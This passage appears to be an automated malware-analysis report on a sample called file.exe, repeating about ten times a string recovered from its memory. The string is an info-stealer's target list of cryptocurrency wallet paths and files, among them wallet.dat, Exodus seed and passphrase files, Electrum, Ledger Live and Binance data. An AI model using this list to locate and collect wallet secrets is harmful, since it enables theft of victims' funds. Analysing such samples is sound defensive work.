Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1945261732.0000000000B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 